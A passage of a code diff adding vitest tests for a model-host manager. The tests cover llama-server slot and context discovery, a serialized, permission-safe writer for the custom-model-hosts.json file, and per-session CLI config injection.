|
||||
it.each([
|
||||
['--parallel 1', 1],
|
||||
['-np 2', 2],
|
||||
['--parallel=3', 3],
|
||||
['--fit-ctx 65536 --parallel 1 --host 0.0.0.0', 1],
|
||||
])('reads an explicit %s from the launch command without probing /props', async (flags, slots) => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
serve(`llama-server -m /models/m.gguf --ctx-size 65536 ${flags}`, propsMustNotBeReached);
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelSlotCounts).toEqual({ m: slots });
|
||||
expect(updated.modelContextLengths).toEqual({ m: 65536 });
|
||||
});
|
||||
|
||||
it('asks /props for total_slots when the command states no --parallel (llama-server picks the count itself)', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
serve(
|
||||
'llama-server -m /models/m.gguf --fit-ctx 65536',
|
||||
() => new Response(JSON.stringify({ n_ctx: 133888, total_slots: 4 }), { status: 200 })
|
||||
);
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelSlotCounts).toEqual({ m: 4 });
|
||||
// the context still comes from the command's floor, never from /props's n_ctx
|
||||
expect(updated.modelContextLengths).toEqual({ m: 65536 });
|
||||
});
|
||||
|
||||
it('probes /props once per launch command: a repeat sweep reuses the answer, a changed command probes again', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
let probes = 0;
|
||||
const answer = () => (probes++, new Response(JSON.stringify({ n_ctx: 133888, total_slots: 4 }), { status: 200 }));
|
||||
serve('llama-server -m /models/m.gguf --fit-ctx 65536', answer);
|
||||
await refreshAllCustomModelHosts();
|
||||
await refreshAllCustomModelHosts();
|
||||
expect(probes).toBe(1); // a /props call refreshes the model's last-use time in llama-swap, so not every sweep
|
||||
expect((await readCustomModelHosts(dir))[0].modelSlotCounts).toEqual({ m: 4 });
|
||||
|
||||
serve('llama-server -m /models/m.gguf --fit-ctx 65536 --flash-attn on', answer);
|
||||
await refreshAllCustomModelHosts();
|
||||
expect(probes).toBe(2);
|
||||
});
|
||||
|
||||
it('does not divide a /props context a second time when --parallel is explicit and the command states no context', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
// with an explicit count llama.cpp reports n_ctx per slot: 65,536 each is already what one request gets
|
||||
serve(
|
||||
'llama-server -m /models/m.gguf --parallel 4',
|
||||
() => new Response(JSON.stringify({ n_ctx: 65536, total_slots: 4 }), { status: 200 })
|
||||
);
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelContextLengths).toEqual({ m: 65536 });
|
||||
expect(updated.modelSlotCounts).toEqual({ m: 1 }); // already per slot, so one request gets all of it
|
||||
});
|
||||
|
||||
it('a later round with an explicit --parallel replaces the slot count an earlier round learned', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
// round 1: auto slots, the server chose 4 sharing 131,072 tokens
|
||||
serve(
|
||||
'llama-server -m /models/m.gguf',
|
||||
() => new Response(JSON.stringify({ n_ctx: 131072, total_slots: 4 }), { status: 200 })
|
||||
);
|
||||
await refreshAllCustomModelHosts();
|
||||
expect((await readCustomModelHosts(dir))[0].modelSlotCounts).toEqual({ m: 4 });
|
||||
|
||||
// round 2: the user followed the dialog and added --parallel 1
|
||||
serve(
|
||||
'llama-server -m /models/m.gguf --parallel 1',
|
||||
() => new Response(JSON.stringify({ n_ctx: 131072, total_slots: 1 }), { status: 200 })
|
||||
);
|
||||
await refreshAllCustomModelHosts();
|
||||
expect((await readCustomModelHosts(dir))[0].modelSlotCounts).toEqual({ m: 1 });
|
||||
|
||||
// round 3: --parallel 2 with a per-slot /props context must not bring a pool back
|
||||
serve(
|
||||
'llama-server -m /models/m.gguf --parallel 2',
|
||||
() => new Response(JSON.stringify({ n_ctx: 65536, total_slots: 2 }), { status: 200 })
|
||||
);
|
||||
await refreshAllCustomModelHosts();
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelSlotCounts).toEqual({ m: 1 });
|
||||
expect(updated.modelContextLengths).toEqual({ m: 65536 });
|
||||
});
|
||||
|
||||
it('remembers a /props that answers non-2xx per launch command, but retries a network failure', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
let probes = 0;
|
||||
serve('llama-server -m /models/m.gguf --fit-ctx 65536', () => (probes++, new Response('nope', { status: 404 })));
|
||||
await refreshAllCustomModelHosts();
|
||||
await refreshAllCustomModelHosts();
|
||||
expect(probes).toBe(1); // no probe every sweep: a /props call keeps a model with a ttl loaded
|
||||
|
||||
clearPropsProbeCache();
|
||||
probes = 0;
|
||||
serve('llama-server -m /models/m.gguf --fit-ctx 65536', () => {
|
||||
probes++;
|
||||
throw new TypeError('fetch failed');
|
||||
});
|
||||
await refreshAllCustomModelHosts();
|
||||
await refreshAllCustomModelHosts();
|
||||
expect(probes).toBe(2); // a network error says nothing about the server, so it is tried again
|
||||
});
|
||||
|
||||
it('treats -np -1 (llama.cpp auto) as unstated and falls back to /props', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
serve(
|
||||
'llama-server -m /models/m.gguf --fit-ctx 65536 -np -1',
|
||||
() => new Response(JSON.stringify({ total_slots: 4 }), { status: 200 })
|
||||
);
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelSlotCounts).toEqual({ m: 4 });
|
||||
});
|
||||
|
||||
it('a failed or slot-less /props leaves no slot count rather than failing the sweep or guessing one', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
serve(
|
||||
'llama-server -m /models/m.gguf --fit-ctx 65536',
|
||||
() => new Response(JSON.stringify({ n_ctx: 8192 }), { status: 200 })
|
||||
);
|
||||
|
||||
await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelSlotCounts).toBeUndefined();
|
||||
expect(updated.modelContextLengths).toEqual({ m: 65536 });
|
||||
});
|
||||
|
||||
it('keeps a previously-learned slot count for a model that is no longer loaded, and drops it once the model disappears', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [
|
||||
host({
|
||||
id: 'ep',
|
||||
baseUrl: 'http://localhost:8080',
|
||||
models: ['a', 'b'],
|
||||
modelContextLengths: { a: 65536, b: 65536 },
|
||||
modelSlotCounts: { a: 4, b: 2 },
|
||||
}),
|
||||
]);
|
||||
fetchMock.mockResolvedValue(new Response(JSON.stringify({ data: [{ id: 'a' }] }), { status: 200 }));
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const [updated] = await readCustomModelHosts(dir);
|
||||
expect(updated.modelSlotCounts).toEqual({ a: 4 });
|
||||
});
|
||||
|
||||
it('a round where only the listed figure answers resets the slot count a loaded round learned', async () => {
|
||||
// The false-warning scenario, measured on a real llama-swap: round 1 has the model
|
||||
// loaded under `--ctx-size 262144 --parallel 4`: a TOTAL window shared across slots,
|
||||
// correctly stored with its count. Round 2 finds it unloaded and takes the LISTED
|
||||
// `context_length`, which llama-swap documents as the PER-SLOT window. If the stored 4
|
||||
// survived, the floor check would divide the per-slot figure a second time
|
||||
// (65536/4 = 16384) and warn about a model that serves 65536 to every request.
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'ep', baseUrl: 'http://localhost:8080' })]);
|
||||
fetchMock.mockImplementation(async (url: URL) => {
|
||||
if (url.pathname === '/v1/models') {
|
||||
return new Response(JSON.stringify({ data: [{ id: 'm', status: { value: 'loaded' } }] }), { status: 200 });
|
||||
}
|
||||
if (url.pathname === '/running') {
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
running: [
|
||||
{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' },
|
||||
],
|
||||
}),
|
||||
{ status: 200 }
|
||||
);
|
||||
}
|
||||
throw new Error(`unexpected request: ${url.href}`); // the command answers both questions
|
||||
});
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
let [round1] = await readCustomModelHosts(dir);
|
||||
expect(round1.modelContextLengths).toEqual({ m: 262144 });
|
||||
expect(round1.modelSlotCounts).toEqual({ m: 4 });
|
||||
|
||||
// Round 2: unloaded, no /running or /props probe in order, listing its per-slot figure.
|
||||
fetchMock.mockResolvedValue(
|
||||
new Response(JSON.stringify({ data: [{ id: 'm', status: { value: 'unloaded' }, context_length: 65536 }] }), {
|
||||
status: 200,
|
||||
})
|
||||
);
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const [round2] = await readCustomModelHosts(dir);
|
||||
expect(round2.modelContextLengths).toEqual({ m: 65536 });
|
||||
// 1 slot, not the stale 4: 65536 per slot with 1 recorded slot is the honest pair, so
|
||||
// the floor check reads 65536/request: exactly what the server gives a single request.
|
||||
expect(round2.modelSlotCounts).toEqual({ m: 1 });
|
||||
});
|
||||
});
|
||||
|
||||
@@ -366,3 +606,104 @@ describe('refreshAllCustomModelHosts: model-size enrichment (parsed from /v1/mod
|
||||
expect(updated.modelSizesGB).toEqual({ a: 8 }); // 'a' kept from before, 'b' dropped (gone from the list)
|
||||
});
|
||||
});
|
||||
|
||||
describe('the sweep and the serialized writer', () => {
|
||||
it('an endpoint created while the sweep was probing another one is kept', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [host({ id: 'probed', baseUrl: 'http://localhost:8080' })]);
|
||||
fetchMock.mockImplementation(async () => {
|
||||
// An admin saves a second endpoint between the sweep's read and its write. The sweep
|
||||
// must splice its result onto the list as it is then, not write back the one it read.
|
||||
const current = await readCustomModelHosts(dir);
|
||||
if (!current.some((h) => h.id === 'added')) {
|
||||
await writeCustomModelHosts(dir, [...current, host({ id: 'added', baseUrl: 'http://localhost:8082' })]);
|
||||
}
|
||||
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
|
||||
});
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const hosts = await readCustomModelHosts(dir);
|
||||
expect(hosts.map((h) => h.id)).toEqual(['probed', 'added']);
|
||||
expect(hosts[0].models).toEqual(['qwen3']);
|
||||
});
|
||||
|
||||
it('never writes over a store that stopped parsing while the sweep ran', async () => {
|
||||
const dir = getDataDir();
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
await writeCustomModelHosts(dir, [
|
||||
host({ id: 'a', baseUrl: 'http://localhost:8080', apiKey: 'sk-keep' }),
|
||||
host({ id: 'b', baseUrl: 'http://localhost:8081' }),
|
||||
]);
|
||||
const broken = '[{"id":"a","apiKey":"sk-keep"},';
|
||||
fetchMock.mockImplementation(async () => {
|
||||
writeFileSync(customModelHostsPath(dir), broken);
|
||||
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
|
||||
});
|
||||
|
||||
await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
|
||||
|
||||
// It used to read the broken file as an empty list and carry on; it is left as it is.
|
||||
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(broken);
|
||||
// And the sweep stopped there: the second endpoint was not probed for nothing.
|
||||
expect(fetchMock.mock.calls.every(([url]) => !(url as URL).href.includes('8081'))).toBe(true);
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
});
|
||||
|
||||
describe('the sweep leaves the local model record alone', () => {
|
||||
const STATE = () => dataPath('local-model.json');
|
||||
const MANAGED: CustomModelHost = {
|
||||
id: 'local-ollama',
|
||||
label: 'This Mac',
|
||||
baseUrl: 'http://127.0.0.1:11435',
|
||||
authStyle: 'bearer',
|
||||
models: ['qwen3.6:35b-a3b'],
|
||||
defaultModelId: 'qwen3.6:35b-a3b',
|
||||
defaultContextLength: 131072,
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
rmSync(STATE(), { force: true });
|
||||
});
|
||||
|
||||
it('while it is managed: it is not probed, and a model somebody pulled through the port does not become launchable', async () => {
|
||||
const dir = getDataDir();
|
||||
writeFileSync(
|
||||
STATE(),
|
||||
JSON.stringify({
|
||||
schema: 1,
|
||||
state: 'installed',
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
|
||||
cli: { id: 'opencode', label: 'OpenCode' },
|
||||
runtime: { version: '0.40.15', port: 11435, enabled: true },
|
||||
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
|
||||
})
|
||||
);
|
||||
await writeCustomModelHosts(dir, [MANAGED, host({ id: 'other', baseUrl: 'http://localhost:8080' })]);
|
||||
fetchMock.mockImplementation(
|
||||
async () =>
|
||||
new Response(JSON.stringify({ data: [{ id: 'qwen3.6:35b-a3b' }, { id: 'sneaked-in:7b' }] }), { status: 200 })
|
||||
);
|
||||
|
||||
await refreshAllCustomModelHosts();
|
||||
|
||||
const hosts = await readCustomModelHosts(dir);
|
||||
// Our record is exactly what the install wrote: no new model, no discovery stamp.
|
||||
expect(hosts.find((h) => h.id === 'local-ollama')).toEqual(MANAGED);
|
||||
// Every other endpoint is refreshed as before.
|
||||
expect(hosts.find((h) => h.id === 'other')?.models).toEqual(['qwen3.6:35b-a3b', 'sneaked-in:7b']);
|
||||
for (const [url] of fetchMock.mock.calls) expect((url as URL).href).not.toContain('11435');
|
||||
rmSync(STATE(), { force: true });
|
||||
});
|
||||
|
||||
it('a record with that id that nobody installed is refreshed like any other', async () => {
|
||||
const dir = getDataDir();
|
||||
await writeCustomModelHosts(dir, [{ ...MANAGED, models: [], defaultModelId: undefined }]);
|
||||
fetchMock.mockImplementation(
|
||||
async () => new Response(JSON.stringify({ data: [{ id: 'mine:1b' }] }), { status: 200 })
|
||||
);
|
||||
await refreshAllCustomModelHosts();
|
||||
expect((await readCustomModelHosts(dir))[0].models).toEqual(['mine:1b']);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,239 @@
|
||||
/**
|
||||
* @fileoverview The serialized writer of `custom-model-hosts.json`
|
||||
* (src/custom-model-hosts-writer.ts) and the rule that every writer in src/ goes through it.
|
||||
*
|
||||
* What is pinned:
|
||||
* - two mutations started at the same moment both land (the fault the writer ends: the
|
||||
* endpoint routes and the discovery sweep used to read, change and write on their own);
|
||||
* - the check a caller makes runs in the same step as its write;
|
||||
* - a file that does not parse is refused and left byte for byte, and the refusal never
|
||||
* repeats the file's text (it can hold an API key);
|
||||
* - the file is written 0600 through a temp file that is gone afterwards;
|
||||
* - no module of src/ calls `writeCustomModelHosts()` any more.
|
||||
*
|
||||
* Port: N/A (no server; files in a temp folder).
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import {
|
||||
CustomModelHostsWriteRefusedError,
|
||||
customModelHostsWriteErrorResponse,
|
||||
mutateCustomModelHosts,
|
||||
} from '../src/custom-model-hosts-writer.js';
|
||||
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
|
||||
|
||||
const host = (id: string, extra: Partial<CustomModelHost> = {}): CustomModelHost => ({
|
||||
id,
|
||||
label: id,
|
||||
baseUrl: `http://${id}.example:8080`,
|
||||
...extra,
|
||||
});
|
||||
|
||||
let dir: string;
|
||||
|
||||
beforeEach(() => {
|
||||
dir = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-'));
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe('mutateCustomModelHosts', () => {
|
||||
it('starts from an empty list when the file is missing, and writes what the mutation returns', async () => {
|
||||
const result = await mutateCustomModelHosts((hosts) => {
|
||||
expect(hosts).toEqual([]);
|
||||
return { hosts: [host('a')], result: 'added' };
|
||||
}, dir);
|
||||
expect(result).toBe('added');
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
|
||||
});
|
||||
|
||||
it('an empty file is an empty list too: it holds no endpoint to lose', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), ' \n');
|
||||
await mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('a')], result: undefined }), dir);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
|
||||
});
|
||||
|
||||
it('writes nothing when the mutation returns no list', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
|
||||
const before = statSync(customModelHostsPath(dir)).mtimeMs;
|
||||
const result = await mutateCustomModelHosts((hosts) => ({ result: hosts.length }), dir);
|
||||
expect(result).toBe(1);
|
||||
expect(statSync(customModelHostsPath(dir)).mtimeMs).toBe(before);
|
||||
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(JSON.stringify([host('a')]));
|
||||
});
|
||||
|
||||
it('two mutations started together both land: the second sees what the first wrote', async () => {
|
||||
const seen: string[][] = [];
|
||||
const add = (id: string) =>
|
||||
mutateCustomModelHosts((hosts) => {
|
||||
seen.push(hosts.map((item) => item.id));
|
||||
return { hosts: [...hosts, host(id)], result: id };
|
||||
}, dir);
|
||||
const results = await Promise.all([add('first'), add('second')]);
|
||||
expect(results).toEqual(['first', 'second']);
|
||||
expect(seen).toEqual([[], ['first']]);
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['first', 'second']);
|
||||
});
|
||||
|
||||
it('twenty mutations at once keep every record (unserialized writers lost all but the last)', async () => {
|
||||
const ids = Array.from({ length: 20 }, (_, i) => `ep${i}`);
|
||||
await Promise.all(
|
||||
ids.map((id) => mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host(id)], result: undefined }), dir))
|
||||
);
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(ids);
|
||||
// Every temp file was renamed over the target: only the one file is left.
|
||||
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
|
||||
});
|
||||
|
||||
it('a check made inside the mutation is made on the list as it is then: two creates of one id, one wins', async () => {
|
||||
const create = (label: string) =>
|
||||
mutateCustomModelHosts<'created' | 'exists'>((hosts) => {
|
||||
if (hosts.some((item) => item.id === 'same')) return { result: 'exists' };
|
||||
return { hosts: [...hosts, host('same', { label })], result: 'created' };
|
||||
}, dir);
|
||||
expect(await Promise.all([create('one'), create('two')])).toEqual(['created', 'exists']);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('same', { label: 'one' })]);
|
||||
});
|
||||
|
||||
it('hands the mutation a list it may change in place', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a'), host('b')]));
|
||||
await mutateCustomModelHosts((hosts) => {
|
||||
hosts[1] = { ...hosts[1], label: 'changed' };
|
||||
return { hosts, result: undefined };
|
||||
}, dir);
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.label)).toEqual(['a', 'changed']);
|
||||
});
|
||||
|
||||
it('writes the file 0600 (it holds API keys), also over a file that was world-readable', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), '[]', { mode: 0o644 });
|
||||
await mutateCustomModelHosts(() => ({ hosts: [host('a', { apiKey: 'sk-secret' })], result: undefined }), dir);
|
||||
expect(statSync(customModelHostsPath(dir)).mode & 0o777).toBe(0o600);
|
||||
});
|
||||
|
||||
it('writes through a symlink: the real file changes and the link stays a link', async () => {
|
||||
const real = join(dir, 'real-hosts.json');
|
||||
writeFileSync(real, '[]');
|
||||
symlinkSync(real, customModelHostsPath(dir));
|
||||
await mutateCustomModelHosts(() => ({ hosts: [host('a')], result: undefined }), dir);
|
||||
expect(JSON.parse(readFileSync(real, 'utf8'))).toEqual([host('a')]);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
|
||||
});
|
||||
|
||||
describe('a file that must not be overwritten', () => {
|
||||
const broken = '[{"id":"keep","apiKey":"sk-do-not-leak"},';
|
||||
|
||||
it.each([
|
||||
['text that does not parse', broken],
|
||||
['a JSON object instead of a list', '{"id":"keep","apiKey":"sk-do-not-leak"}'],
|
||||
['a JSON string', '"sk-do-not-leak"'],
|
||||
])('refuses %s, leaves it byte for byte and never calls the mutation', async (_label, content) => {
|
||||
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeFileSync(customModelHostsPath(dir), content);
|
||||
const fn = vi.fn(() => ({ hosts: [host('new')], result: undefined }));
|
||||
await expect(mutateCustomModelHosts(fn, dir)).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
|
||||
expect(fn).not.toHaveBeenCalled();
|
||||
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(content);
|
||||
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
|
||||
// Neither the error nor the log repeats the file, which holds a key.
|
||||
const error = await mutateCustomModelHosts(fn, dir).catch((err: Error) => err);
|
||||
expect((error as Error).message).not.toContain('sk-do-not-leak');
|
||||
expect((error as Error).message).toContain('custom-model-hosts.json');
|
||||
expect(warn.mock.calls.flat().join(' ')).not.toContain('sk-do-not-leak');
|
||||
});
|
||||
|
||||
it('the plain reader calls such a file an empty list, which is why a writer must not start from it', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), broken);
|
||||
expect(await readCustomModelHosts(dir)).toEqual([]);
|
||||
});
|
||||
|
||||
it('a refused mutation does not stop the ones after it', async () => {
|
||||
vi.spyOn(console, 'warn').mockImplementation(() => {});
|
||||
writeFileSync(customModelHostsPath(dir), broken);
|
||||
const refused = mutateCustomModelHosts(() => ({ hosts: [], result: undefined }), dir);
|
||||
const other = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-other-'));
|
||||
try {
|
||||
const next = mutateCustomModelHosts(() => ({ hosts: [host('a')], result: 'ok' }), other);
|
||||
await expect(refused).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
|
||||
expect(await next).toBe('ok');
|
||||
expect(await readCustomModelHosts(other)).toEqual([host('a')]);
|
||||
} finally {
|
||||
rmSync(other, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
it('a mutation that throws rejects its own caller, writes nothing, and the chain goes on', async () => {
|
||||
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
|
||||
const thrown = mutateCustomModelHosts(() => {
|
||||
throw new Error('boom');
|
||||
}, dir);
|
||||
const next = mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('b')], result: undefined }), dir);
|
||||
await expect(thrown).rejects.toThrow('boom');
|
||||
await next;
|
||||
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['a', 'b']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('customModelHostsWriteErrorResponse', () => {
|
||||
it('a refused write is 409 CONFLICT with the fix', () => {
|
||||
const response = customModelHostsWriteErrorResponse(
|
||||
new CustomModelHostsWriteRefusedError('the file is not a valid JSON list')
|
||||
);
|
||||
expect(response).toEqual({
|
||||
success: false,
|
||||
error: 'the file is not a valid JSON list',
|
||||
errorCode: 'CONFLICT',
|
||||
});
|
||||
});
|
||||
|
||||
it('any other failure stays OPERATION_FAILED', () => {
|
||||
expect(customModelHostsWriteErrorResponse(new Error('EACCES'))).toMatchObject({
|
||||
success: false,
|
||||
errorCode: 'OPERATION_FAILED',
|
||||
error: 'EACCES',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('every writer goes through the serialized writer', () => {
|
||||
const root = fileURLToPath(new URL('../', import.meta.url));
|
||||
|
||||
function sourceFiles(folder: string, out: string[] = []): string[] {
|
||||
for (const name of readdirSync(folder)) {
|
||||
const path = join(folder, name);
|
||||
if (statSync(path).isDirectory()) {
|
||||
if (name !== 'public' && name !== 'node_modules') sourceFiles(path, out);
|
||||
} else if (name.endsWith('.ts')) {
|
||||
out.push(path);
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/** The file without its comment lines: a comment may name the function it explains. */
|
||||
const code = (path: string): string =>
|
||||
readFileSync(path, 'utf8')
|
||||
.split('\n')
|
||||
.filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
|
||||
.join('\n');
|
||||
|
||||
it('no module of src/ calls writeCustomModelHosts(): the store itself only defines it', () => {
|
||||
const callers = sourceFiles(join(root, 'src'))
|
||||
.filter((path) => /\bwriteCustomModelHosts\s*\(/.test(code(path)))
|
||||
.map((path) => path.slice(root.length));
|
||||
expect(callers).toEqual(['src/custom-model-hosts.ts']);
|
||||
});
|
||||
|
||||
it('the endpoint routes and the sweep name the writer, five times', () => {
|
||||
const routes = code(join(root, 'src/web/routes/custom-model-routes.ts'));
|
||||
// create, update, delete, discover-models and the re-discovery sweep.
|
||||
expect(routes.match(/await mutateCustomModelHosts</g)).toHaveLength(5);
|
||||
expect(routes).not.toContain('writeCustomModelHosts');
|
||||
});
|
||||
});
|
||||
@@ -13,10 +13,20 @@
|
||||
*
|
||||
* Port: N/A (no server; filesystem-only, under a temp CODEMAN data dir from test/setup.ts).
|
||||
*/
|
||||
import { existsSync, lstatSync, mkdirSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { homedir } from 'node:os';
|
||||
import {
|
||||
existsSync,
|
||||
lstatSync,
|
||||
mkdirSync,
|
||||
readFileSync,
|
||||
readdirSync,
|
||||
readlinkSync,
|
||||
rmSync,
|
||||
statSync,
|
||||
writeFileSync,
|
||||
} from 'node:fs';
|
||||
import { homedir, tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { getCli } from '../src/config/cli-registry/index.js';
|
||||
import { applyCustomModelInjection, customModelConfigDir } from '../src/custom-model-injection-apply.js';
|
||||
import type { CustomModelEndpoint } from '../src/custom-model-injection.js';
|
||||
@@ -53,9 +63,12 @@ describe('applyCustomModelInjection: context length', () => {
|
||||
expect(applied?.envOverrides.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBeUndefined();
|
||||
});
|
||||
|
||||
it('deepseek: has no contextLengthVar declared, so a passed-in length is a no-op', () => {
|
||||
const applied = applyCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3', 'sess-ctx-3', 16384);
|
||||
expect(Object.keys(applied?.envOverrides ?? {}).sort()).toEqual(['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL']);
|
||||
it('deepseek: passes the known context through its isolated model catalogue', () => {
|
||||
const sessionId = 'sess-deepseek-context';
|
||||
sessionsToClean.push(sessionId);
|
||||
const applied = applyCustomModelInjection(entryOrThrow('deepseek'), endpoint, 'qwen3', sessionId, 32768);
|
||||
expect(Object.keys(applied?.envOverrides ?? {}).sort()).toEqual(['CODEMAN_CUSTOM_MODEL_API_KEY', 'DSH_HOME']);
|
||||
expect(readFileSync(join(applied!.configDir!, 'cordis.patch.yml'), 'utf8')).toContain('"contextWindow": 32768');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -87,6 +100,72 @@ describe('applyCustomModelInjection: CLAUDE_CONFIG_DIR isolation', () => {
|
||||
}
|
||||
});
|
||||
|
||||
it('claude: creates the missing projects folder under the temp HOME, never a real one', () => {
|
||||
// test/setup.ts points HOME at a temp dir and drops CLAUDE_CONFIG_DIR. Without both, the
|
||||
// apply below would create `projects` in the real `~/.claude` of whoever runs the suite.
|
||||
expect(homedir().startsWith(tmpdir())).toBe(true);
|
||||
expect(process.env.CLAUDE_CONFIG_DIR).toBeUndefined();
|
||||
|
||||
const sessionId = 'sess-cfgdir-default';
|
||||
sessionsToClean.push(sessionId);
|
||||
const realProjects = join(homedir(), '.claude', 'projects');
|
||||
rmSync(realProjects, { recursive: true, force: true });
|
||||
|
||||
const applied = applyCustomModelInjection(entryOrThrow('claude'), endpoint, 'qwen3', sessionId);
|
||||
|
||||
expect(readlinkSync(join(applied!.configDir!, 'projects'))).toBe(realProjects);
|
||||
expect(statSync(realProjects).isDirectory()).toBe(true);
|
||||
});
|
||||
|
||||
it('claude: a relative CLAUDE_CONFIG_DIR of the server gets no link, nothing lands under its cwd', () => {
|
||||
const sessionId = 'sess-cfgdir-relative';
|
||||
sessionsToClean.push(sessionId);
|
||||
vi.stubEnv('CLAUDE_CONFIG_DIR', 'relative-server-claude');
|
||||
try {
|
||||
const applied = applyCustomModelInjection(entryOrThrow('claude'), endpoint, 'qwen3', sessionId);
|
||||
expect(existsSync(join(applied!.configDir!, 'projects'))).toBe(false);
|
||||
expect(existsSync('relative-server-claude')).toBe(false);
|
||||
} finally {
|
||||
vi.unstubAllEnvs();
|
||||
}
|
||||
});
|
||||
|
||||
it("claude: links projects from the session's own CLAUDE_CONFIG_DIR, creating it for a new account", () => {
|
||||
const sessionId = 'sess-cfgdir-own';
|
||||
